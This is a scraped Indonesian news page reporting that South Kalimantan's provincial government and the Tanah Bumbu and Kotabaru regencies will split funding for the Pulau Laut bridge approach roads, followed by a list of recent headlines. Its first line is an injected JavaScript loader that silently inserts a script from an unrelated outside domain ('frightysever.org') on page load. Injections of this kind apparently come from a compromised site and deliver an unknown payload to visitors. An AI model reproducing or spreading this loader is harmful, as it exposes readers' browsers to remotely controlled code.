(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Patungan Dana Rp 1 T, Pemprov Kalsel dan 2 Kabupaten Wujudkan Jembatan Pulau Laut


BANJARBARU, Wacana pembangunan Jembatan Pulau Laut yang menghubungkan dua kabupaten masing-masing Kotabaru-Batu Licin, kembali muncul kepermukaan. Pemprov Kalsel telah memastikan proyek tersebut akan tetap dijalankan dengan menggandeng kedua Pemda yang bersangkutan, yakni Pemkab Tanbu dan Kotabaru.

Melalui agenda rapat pembahasan, rencana skema pembangunan dan pembiayaan yang akan di kerjakan, Senin (2/9), Gubernur Kalsel H Sahbirin Noor mengumpulkan para pejabatan yang bersangkutan. Baik itu dari Pemprov maupun kedua Pemkab, serta Balai Besar Pelaksanaan Jalan Nasional Wilayah XI Banjarmasin di kantor Setdaprov Kalsel.

Adapun dari pembahasan rapat tersebut, alah satu yang disepakati yakni tiga pemda sama-sama mengalokasikan dana untuk pembangunan jalan pendekat dan jembatan pendekat yang mana diperlukan dana Rp 2 triliun.

Kepala Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel, Roy Rizali Anwar menjelaskan, Pemprov Kalsel akan mengalokasikan dana Rp500 miliar, Kabupaten Tanbu dan Kotabaru masing-masing Rp250 miliar. “Dan sisa Rp1 triliun kami harapkan melalui APBN di balai jalan,” harapnya.

Roy menuturkan langkah pertama akan dilaksanakan revisi perjanjian kerjasama terdahulu. Sehingga di pemerintah daerah mulai tahun 2020 nantinya dapat mengalokasikan anggarannya masing-masing. “Kami targetkan selama lima tahun selesai pembangunan jalan pendekat dan jembatan pendekat,” lontar Roy.

Dalam pemaparan jalan pendekat di Tanahbumbu lebih panjang jika dibanding jalan pendekat di Kotabaru. Jalan pendekat di Tanahbumbu jaraknya 1.500 meter, sedangkan sisi Kotabaru 1.250 meter. Posisi jalan pendekat saat ini menurut Roy masih tumpukan tanah. Pihaknya bersama pemkab dan balai jalan harus menyelesailam sampai pengaspalan dan tersambung ke ruas jalan nasional.

Sebelumnya, Pemkab Kotabaru sudah mengucurkan dana Rp100 miliar, dan pemprov Rp150 miliar untuk pekerjaan fisik jalan dan jembatan pendekat. Dana itu di luar kajian, lingkungan, dan pengadaan lahan, tapi hanya untuk pekerjaan fisik saja.

Disinggung soal benang tengah yang membutuhkan dana Rp1, 6 triliun, Roy mennyatakan masih mencari pola kerjasama. Baik melalui corporate sosil responsibiliti, sumbangan pihak ke tiga, atau kerjasama pemerintah dan badan usaha (KPBU).

Menurut Roy, Gubernur Kalsel yang akrab disapa Paman Birin tersebut menginginkan 2024 jalan pendekat dan jembatan pendekat selesai sembari menunggu benang utama dan benang tengah. (Rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

32 menit ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

1 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

1 jam ago

Galian C Tak Berizin di Banjarbaru, Polisi Tangkap Operator Eksavator

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More

13 jam ago

Bandara Syamsudin Noor Prediksi Arus Balik Libur Nataru Bersamaan Haul Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Bandara Syamsudin Noor Banjarmasin akan kembali mempersiapkan kedatangan tamu jemaah Haul ke-20… Read More

18 jam ago

Bearing Baja Nyangkut di Alat Kelamin Lelaki, Damkar Turun Tangan

KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More

21 jam ago

This website uses cookies.